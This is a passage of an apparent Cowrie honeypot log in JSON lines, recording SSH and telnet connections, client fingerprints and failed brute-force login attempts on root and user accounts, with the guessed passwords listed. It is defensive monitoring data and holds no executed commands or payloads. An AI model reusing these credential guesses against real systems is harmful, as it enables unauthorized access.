,"ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:35.588952Z","src_ip":"43.156.39.221","session":"b0ca1e2399aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nopass","message":"login attempt [root/nopass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:36.544918Z","src_ip":"43.156.39.221","session":"b0ca1e2399aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:37.779444Z","src_ip":"43.156.39.221","session":"b0ca1e2399aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":21467,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f7295b3804","protocol":"ssh","message":"New connection: 2.57.121.25:21467 (159.203.135.109:22) [session: 36f7295b3804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:45.286009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:45.290998Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:45.391846Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11021974","message":"login attempt [user/11021974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:45.869071Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10121981","message":"login attempt [user/10121981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:46.973807Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101180","message":"login attempt [user/101180] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:48.078236Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10111995","message":"login attempt [user/10111995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:49.182553Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10111978","message":"login attempt [user/10111978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:50.288745Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:51.393584Z","src_ip":"2.57.121.25","session":"36f7295b3804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.396679162979126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:51.845706Z","src_ip":"192.119.13.58","session":"f42a493c89dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":12166,"dst_ip":"10.17.0.5","dst_port":22,"session":"251527bc6dbb","protocol":"ssh","message":"New connection: 89.110.87.138:12166 (10.17.0.5:22) [session: 251527bc6dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:55.022074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:55.027740Z","src_ip":"89.110.87.138","session":"251527bc6dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:55.149118Z","src_ip":"89.110.87.138","session":"251527bc6dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"narwhal","message":"login attempt [root/narwhal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:55.662423Z","src_ip":"89.110.87.138","session":"251527bc6dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:56.785559Z","src_ip":"89.110.87.138","session":"251527bc6dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35954,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b07af5261a0","protocol":"telnet","message":"New connection: 192.119.13.58:35954 (10.17.0.5:23) [session: 0b07af5261a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:19:57.677227Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":34512,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab582cec8dbb","protocol":"ssh","message":"New connection: 103.98.149.87:34512 (10.17.0.5:22) [session: ab582cec8dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:25.760911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:25.815844Z","src_ip":"103.98.149.87","session":"ab582cec8dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:26.010928Z","src_ip":"103.98.149.87","session":"ab582cec8dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123451","message":"login attempt [root/123451] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:26.929359Z","src_ip":"103.98.149.87","session":"ab582cec8dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:28.169415Z","src_ip":"103.98.149.87","session":"ab582cec8dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.97650861740112,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:34.653634Z","src_ip":"192.119.13.58","session":"0b07af5261a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":55292,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ac61f22dc6e","protocol":"ssh","message":"New connection: 87.251.79.125:55292 (10.17.0.5:22) [session: 1ac61f22dc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:44.545881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:44.554441Z","src_ip":"87.251.79.125","session":"1ac61f22dc6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:44.627876Z","src_ip":"87.251.79.125","session":"1ac61f22dc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hahaha","message":"login attempt [root/hahaha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:44.849888Z","src_ip":"87.251.79.125","session":"1ac61f22dc6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:45.931288Z","src_ip":"87.251.79.125","session":"1ac61f22dc6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49110,"dst_ip":"10.17.0.5","dst_port":22,"session":"08391e39899f","protocol":"ssh","message":"New connection: 109.237.96.109:49110 (10.17.0.5:22) [session: 08391e39899f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:50.860178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:50.865011Z","src_ip":"109.237.96.109","session":"08391e39899f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:50.955152Z","src_ip":"109.237.96.109","session":"08391e39899f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":57694,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c4060a1bf9f","protocol":"ssh","message":"New connection: 102.88.137.145:57694 (10.17.0.5:22) [session: 8c4060a1bf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:51.307086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:51.311828Z","src_ip":"102.88.137.145","session":"8c4060a1bf9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:51.356287Z","src_ip":"109.237.96.109","session":"08391e39899f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:51.499983Z","src_ip":"102.88.137.145","session":"8c4060a1bf9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword1!","message":"login attempt [root/p@ssword1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:52.275372Z","src_ip":"102.88.137.145","session":"8c4060a1bf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:52.447829Z","src_ip":"109.237.96.109","session":"08391e39899f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:53.464100Z","src_ip":"102.88.137.145","session":"8c4060a1bf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":46386,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef1caf64682c","protocol":"ssh","message":"New connection: 43.156.39.221:46386 (10.17.0.5:22) [session: ef1caf64682c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:57.117561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:57.123080Z","src_ip":"43.156.39.221","session":"ef1caf64682c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:57.361942Z","src_ip":"43.156.39.221","session":"ef1caf64682c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":6876,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8168dae8bd8","protocol":"ssh","message":"New connection: 89.110.87.138:6876 (10.17.0.5:22) [session: a8168dae8bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:58.099336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:20:58.104707Z","src_ip":"89.110.87.138","session":"a8168dae8bd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 